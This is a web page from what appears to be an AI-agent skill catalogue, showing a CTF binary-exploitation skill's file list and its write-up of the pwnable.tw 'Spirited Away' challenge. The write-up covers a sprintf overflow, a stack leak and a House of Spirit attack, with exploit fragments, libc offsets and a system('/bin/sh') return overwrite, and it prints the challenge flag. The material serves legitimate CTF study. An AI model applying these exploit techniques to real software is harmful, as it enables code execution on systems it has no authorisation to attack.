Skip to content

ljagiello/ctf-skills / ctf-pwn

ctf-pwn

Flagged

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

FileKindSize
SKILL.mdskill md20.4 KB
advanced-exploits-2.mdmarkdown30.4 KB
advanced-exploits-3.mdmarkdown32.5 KB
advanced-exploits-4.mdmarkdown30.5 KB
advanced-exploits-5.mdmarkdown6.1 KB
advanced-exploits.mdmarkdown35.0 KB
advanced.mdmarkdown14.3 KB
attack-playbook.mdmarkdown5.6 KB
field-notes.mdmarkdown25.7 KB
format-string.mdmarkdown32.3 KB
heap-fsop.mdmarkdown14.8 KB
heap-techniques-2.mdmarkdown19.8 KB
heap-techniques.mdmarkdown37.2 KB
kernel-bypass.mdmarkdown19.6 KB
kernel-techniques.mdmarkdown18.6 KB
kernel.mdmarkdown32.0 KB
overflow-basics.mdmarkdown26.2 KB
pwnable-tw/3x17.mdmarkdown11.3 KB
pwnable-tw/README.mdmarkdown54.0 KB
pwnable-tw/alive_note.mdmarkdown13.9 KB
pwnable-tw/applestore.mdmarkdown14.0 KB
pwnable-tw/babyallocator.mdmarkdown14.8 KB
pwnable-tw/babystack.mdmarkdown15.0 KB
pwnable-tw/bash.mdmarkdown10.3 KB
pwnable-tw/bash_revenge.mdmarkdown14.2 KB
pwnable-tw/bookwriter.mdmarkdown12.7 KB
pwnable-tw/bounty_program_a.mdmarkdown14.1 KB
pwnable-tw/bounty_program_b.mdmarkdown13.5 KB
pwnable-tw/break_out.mdmarkdown14.1 KB
pwnable-tw/calc.mdmarkdown13.2 KB
pwnable-tw/caov.mdmarkdown13.4 KB
pwnable-tw/criticalheap.mdmarkdown14.0 KB
pwnable-tw/criticalheap_pp.mdmarkdown13.3 KB
pwnable-tw/de_aslr.mdmarkdown14.8 KB
pwnable-tw/death_note.mdmarkdown13.7 KB
pwnable-tw/digimon.mdmarkdown14.5 KB
pwnable-tw/dubblesort.mdmarkdown11.5 KB
pwnable-tw/food_store.mdmarkdown12.8 KB
pwnable-tw/ghost_party.mdmarkdown13.2 KB
pwnable-tw/hacknote.mdmarkdown12.4 KB
pwnable-tw/heap_paradise.mdmarkdown12.4 KB
pwnable-tw/hitcon_ftp.mdmarkdown13.7 KB
pwnable-tw/kidding.mdmarkdown13.3 KB
pwnable-tw/mno2.mdmarkdown12.5 KB
pwnable-tw/omegago.mdmarkdown13.6 KB
pwnable-tw/orw.mdmarkdown11.8 KB
pwnable-tw/printable.mdmarkdown13.7 KB
pwnable-tw/re_alloc.mdmarkdown11.6 KB
pwnable-tw/re_alloc_revenge.mdmarkdown11.5 KB
pwnable-tw/seccomptools.mdmarkdown12.3 KB
pwnable-tw/secret_garden.mdmarkdown13.9 KB
pwnable-tw/secret_of_my_heart.mdmarkdown12.6 KB
pwnable-tw/seethefile.mdmarkdown12.4 KB
pwnable-tw/silver_bullet.mdmarkdown14.0 KB
pwnable-tw/spirited_away.mdmarkdown11.9 KB
pwnable-tw/starbound.mdmarkdown13.3 KB
pwnable-tw/start.mdmarkdown10.7 KB
pwnable-tw/stupid_boss.mdmarkdown13.4 KB
pwnable-tw/tcache_tear.mdmarkdown12.5 KB
pwnable-tw/unexploitable.mdmarkdown14.4 KB
pwnable-tw/wannaheap.mdmarkdown12.9 KB
rop-advanced.mdmarkdown32.3 KB
rop-and-shellcode.mdmarkdown28.1 KB
sandbox-escape.mdmarkdown15.1 KB
scripts/fmtstr_payload_suite.pyexecutablescript3.1 KB
scripts/ret2libc_two_stage.pyexecutablescript2.5 KB
scripts/seccomp_orw_generator.pyexecutablescript3.2 KB
scripts/shellcraft_asm.pyexecutablescript2.7 KB
scripts/srop_execve.pyexecutablescript2.7 KB
static-signals.mdmarkdown2.2 KB
tools-mcp.mdmarkdown11.8 KB

pwnable-tw/spirited_away.md

View on GitHub
---
tags:
  - house-of-spirit
  - stack-buffer-overflow
  - ret2libc
platform: pwnable.tw
points: 300
arch: i386
libc: glibc-2.23
relro: partial
canary: yes
nx: yes
pie: no
references:
  - https://pwnable.tw/challenge/
description: "An off-by-one size error enables forging fake chunk headers on the stack, triggering House of Spirit via free() to overwrite the return address."
proof-of-concept: no
---

# Spirited Away — pwnable.tw (300 pts)

[← Back to pwnable.tw Challenge Index](README.md)

> `nc chall.pwnable.tw 10204`
>
> Flag: `FLAG{Gue55_the_answer_isn't_always_Y3S}`

## Challenge Overview

A 32-bit movie comment survey program (i386, no PIE, Partial RELRO, NX, Stack Canary) built against glibc 2.23. In a loop, the user is asked for name, age, reason, and comment. After each entry, they can choose to leave another comment. A global counter tracks total comments.

```bash
checksec:
  Arch:     i386-32-little
  RELRO:    Partial RELRO        # GOT writable
  Stack:    Canary found
  NX:       NX enabled
  PIE:      No PIE (0x8048000)
```

## Program Logic (Pseudocode)

```c
void survey() {
    char sprintf_buf[0x38];     // ebp-0xe8
    uint32_t name_comment_len;  // ebp-0xb0, initialized to 0x3c (60)
    uint32_t reason_len;        // ebp-0xac, initialized to 0x50 (80)
    char reason[0x50];          // ebp-0xa8 .. ebp-0x58
    char comment[0x3c];         // ebp-0x58 .. ebp-0x1c (approx)
    char *name_ptr;             // ebp-0x54 (malloc'd heap pointer)

    name_comment_len = 0x3c;
    reason_len = 0x50;

    while (1) {
        name_ptr = malloc(0x3c);
        read(0, name_ptr, name_comment_len);     // name
        scanf("%d", &age);                         // age
        read(0, reason, reason_len);               // reason
        read(0, comment_buf, name_comment_len);    // comment (reuses name_comment_len!)

        printf("Name: %s\nReason: %s\n...", name_ptr, reason);

        // BUG: sprintf can overflow into name_comment_len
        sprintf(sprintf_buf, "%d comment so far. We will review ...", ++cnt);

        free(name_ptr);

        read(0, &choice, 1);
        if (choice == 'n') return;  // returns to main → exit
    }
}
```

## Vulnerabilities

### V1 — `sprintf` Overflow Corrupts `name_comment_len` (Primary, Exploitable)

**Root Cause:** The `sprintf_buf` at `ebp-0xe8` is ~56 bytes, and the `name_comment_len` variable sits at `ebp-0xb0`. The sprintf format string `"%d comment so far. We will review them as soon as we can"` is 57+ characters. When `cnt` grows from 1 digit to 2 digits (count=10), the NUL terminator spills onto `name_comment_len`, setting it to **0**. When `cnt` reaches 3 digits (count=100), the trailing `"...can\0"` writes `'n' = 0x6e` (110) into `name_comment_len`.

```text
sprintf_buf layout (cnt=100):
  ebp-0xe8: "100 comment so far. We will review them as soon as we can\0"
                                                                    ^
                                                          ebp-0xb0 = 0x6e ('n')
```

**Phase 1 (cnt 10–99):** `name_comment_len = 0` → name and comment `read()` calls consume 0 bytes (effectively skipped). Age and reason still work normally.

**Phase 2 (cnt ≥ 100):** `name_comment_len = 0x6e` (110) → name and comment reads are now **much larger** than the original 0x3c (60). The comment buffer is only ~60 bytes before reaching the `name_ptr` variable on the stack → **comment read overflows into `name_ptr`**.

**Impact:** The attacker controls the `name_ptr` (heap pointer) that gets `free()`'d and then `malloc()`'d on the next iteration. This enables **House of Spirit**: point `name_ptr` at a fake fastbin chunk on the stack, free it, then malloc returns a stack pointer — the next name read writes directly to the stack.

### V2 — `printf("%s", reason)` Leaks Stack/libc (Exploitable)

**Root Cause:** The `reason` buffer at `ebp-0xa8` is read with `read(0, reason, 0x50)` but never NUL-terminated. `printf("Reason: %s", reason)` prints past the 0x50 bytes into whatever follows on the stack.

```text
Stack layout after reason buffer:
  ebp-0xa8: reason[0x50]
  ebp-0x58: ... (comment area / other locals)
  ...
  ebp+0x00: saved_ebp          ← leaked (stack address)
  ebp+0x04: saved_eip = 0x08048908  ← leaked (return into main, constant)
  ebp+0x08: stdout FILE*       ← leaked (libc address)
```

**Impact:** By filling reason with exactly 0x50 bytes (no newline), the `%s` format leaks:
- **`saved_ebp`** → stack address (used to calculate the fake chunk target)
- **`0x08048908`** → anchor value (survey's return address into main, confirms alignment)
- **`stdout` (`_IO_2_1_stdout_`)** → libc address (subtract known offset → libc base)

Some solvers get a shorter leak by filling reason with fewer bytes (e.g., 56 bytes to only leak the libc pointer through `_IO_file_sync`/`fflush` residue), depending on exact stack layout.

### V3 — Heap Pointer on Stack → House of Spirit (Enabler)

The `name_ptr` variable at `ebp-0x54` holds a `malloc`'d pointer that is `free()`'d each iteration and re-`malloc()`'d at the start of the next. Since V1 lets us overwrite `name_ptr` via the comment overflow, we can:

1. Point `name_ptr` at a **fake fastbin chunk** we've placed in the `reason` buffer on the stack
2. The subsequent `free(name_ptr)` inserts this fake chunk into the 0x40 fastbin
3. The next `malloc(0x3c)` returns the stack address
4. The next `read(0, name_ptr, 0x6e)` writes up to 110 bytes starting from the stack fake chunk → overwrites `saved_eip`

## Exploit Flow (All Solutions)

Every solution follows the same fundamental chain. Differences are minor (leak offsets, padding, one_gadget vs ret2libc).

### Step 1 — Leak Stack + libc (Iteration 1)

Fill `reason` with 0x50 bytes (or a shorter marker + padding). Read back the `%s` leak to extract `saved_ebp` (stack) and `_IO_2_1_stdout_` (libc).

```python
# Fill reason fully → leak stack and libc
send_name("A")
send_age("1\n")
send_reason("A" * 0x50)      # no NUL terminator
send_comment("C")
# parse: saved_ebp, return_addr (0x08048908), stdout pointer
```

### Step 2 — Overflow `name_comment_len` (Iterations 2–100)

Send 99 more comments to increment `cnt` from 1 to 100:
- Iterations 2–10: normal (len=0x3c), send all four fields
- Iterations 11–100: len=0 (NUL-overwritten), name and comment reads are skipped; only send age + reason + choice

```python
for i in range(2, 11):
    send_all_fields("a", "1\n", "x", "c"); send_choice("y")
for i in range(11, 101):
    # len=0: name/comment reads consume nothing
    send_age("1\n"); send_reason("x"); send_choice("y")
# cnt is now 100 → name_comment_len = 0x6e
```

### Step 3 — Forge Fake Chunk + Redirect `name_ptr` (Iteration 101)

Place a fake 0x40 fastbin chunk in the `reason` buffer and overflow `name_ptr` via the now-oversized comment read:

```python
# Fake chunk in reason buffer (ebp-0xa8):
#   prev_size=0, size=0x41, data[0x38], next_size=0x41
reason = p32(0) + p32(0x41) + "X"*0x38 + p32(0) + p32(0x41)

# Overflow comment → overwrite name_ptr with address of fake chunk
comment = "Q"*0x54 + p32(fake_chunk_addr)

# Send and answer "y" → free(name_ptr) pushes fake chunk to fastbin
```

### Step 4 — Stack Write → ret2libc / one_gadget (Iteration 102)

`malloc(0x3c)` returns the stack fake chunk. The name `read()` now writes 0x6e bytes onto the stack starting from the fake chunk, reaching `saved_eip`:

```python
# Overwrite saved_eip with system() and "/bin/sh" argument:
name = "A"*0x4c + p32(system) + p32(junk) + p32(binsh_addr)
send_name(name)
# ... fill remaining fields ...
send_choice("n")  # survey() returns → system("/bin/sh")
```

### Alternative Finishes

| Technique | Description | Used by |
|-----------|-------------|---------|
| `ret2libc: system("/bin/sh")` | Classic 32-bit ret2libc with libc `/bin/sh` string | Most solutions |
| `one_gadget` | Single gadget (e.g., `0x3a819`, `0x5f065`) in saved_eip | 1006, 1727, 7905 |
| `ROP → read() → puts(GOT) → system()` | Multi-stage ROP to leak libc at runtime + pivot | 1913 |
| `"/bin/sh"` on stack | Place `/bin/sh` string on stack, point `system` arg there | 17048 |

## Exploit Primitive Summary

| Primitive | Source | Reliability |
|-----------|--------|-------------|
| libc leak (`_IO_2_1_stdout_`) | V2: `printf("%s", reason)` no NUL terminator | Deterministic |
| Stack leak (`saved_ebp`) | V2: same `%s` leak | Deterministic |
| `name_comment_len` corruption (0→0x6e) | V1: `sprintf` overflow at cnt=100 | Deterministic |
| `name_ptr` overwrite | V1-enabled comment overflow | Deterministic |
| Fake fastbin chunk (House of Spirit) | V3: forge chunk in reason buffer | Deterministic |
| Stack write (saved_eip overwrite) | malloc returns stack; name read overwrites ret | Deterministic |

## Key Stack Layout

```text
ebp-0xe8: sprintf_buf[0x38]       ← "%d comment so far..."
ebp-0xb0: name_comment_len        ← overwritten by sprintf NUL/tail
ebp-0xac: reason_len (0x50)
ebp-0xa8: reason[0x50]            ← fake chunk placed here
ebp-0x58: comment/name_ptr area
ebp-0x54: name_ptr (heap)         ← overwritten via comment overflow
  ...
ebp+0x00: saved_ebp               ← leaked via V2
ebp+0x04: saved_eip (0x08048908)  ← overwritten to system() / one_gadget
ebp+0x08: stdout FILE*            ← leaked via V2 (libc anchor)
```

## Offsets (pwnable.tw `libc_32.so.6`, glibc 2.23)

```python
_IO_2_1_stdout_ = 0x1b0d60
system          = 0x3a940
bin_sh          = 0x158e8b
# one_gadgets (from one_gadget tool):
one_gadgets     = [0x3a819, 0x3a81c, 0x5f065, 0x5f066]
```

## Solution Write-ups

| File | Key Technique | Notes |
|------|---------------|-------|
| `1006.md` | sprintf overflow → House of Spirit → one_gadget | Leaks stack via reason overflow; GOT read for libc |
| `1172.md` | sprintf overflow → fake chunk → system("/bin/sh") | Clean code; single-iteration leak |
| `1269.md` | sprintf overflow → House of Spirit → one_gadget | Detailed helper functions; two-phase leak |
| `1297.md` | sprintf overflow → fake chunk → system+exit+binsh | Full ret2libc with clean exit |
| `1303.md` | sprintf overflow → fake chunk → system | Messy parsing but works; raw hex leak |
| `1316.md` | sprintf overflow → House of Spirit → system+exit+binsh | Clean exploit with proper recv handling |
| `1351.md` | sprintf overflow → fake chunk → system | Uses ntpwn library |
| `1384.md` | sprintf overflow → fake chunk → system | Minimal; uses fflush offset for libc leak |
| `1689.md` | sprintf overflow → fake chunk → system | Uses reason at various offsets for two-stage leak |
| `1727.md` | sprintf overflow → House of Spirit → one_gadget (0x5f065) | Verbose but well-structured |
| `1803.md` | sprintf overflow → fake chunk → system | Written in Ruby |
| `1913.md` | sprintf overflow → ROP chain (read→puts→system) | Multi-stage ROP; leaks libc via puts(GOT) at runtime |
| `10128.md` | sprintf overflow → fake chunk → system | Uses regex for leak parsing |
| `10840.md` | sprintf overflow → fake chunk → system | Detailed with proper fastbin next-size validation |
| `11445.md` | sprintf overflow → fake chunk → system | Short; anchors libc on `_IO_file_sync` offset |
| `11540.md` | sprintf overflow → fake chunk → system | Uses `interactive()` trick for scanf buffering |
| `13019.md` | sprintf overflow → House of Spirit → system | Detailed step-by-step with raw_input pauses |
| `14032.md` | sprintf overflow → fake chunk → system | Different libc version offsets (2.27 locally) |
| `14605.md` | sprintf overflow → fake chunk → system | Clean helper functions |
| `17048.md` | sprintf overflow → House of Spirit → system | Detailed telnetlib-based; places "/bin/sh" on stack |

## Files

| File | Description |
|------|-------------|
| `exp.py` | Working exploit script (socket-based, no pwntools) |
| `desc.txt` | Challenge description |
| `artifacts/spirited_away` | Challenge binary (i386, stripped) |
| `artifacts/libc_32.so.6` | Remote libc (glibc 2.23, 32-bit) |
| `solution/*.md` | Community write-ups (129 solutions) |
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 196kUpdated Claude CodeCodexVerifiedInstall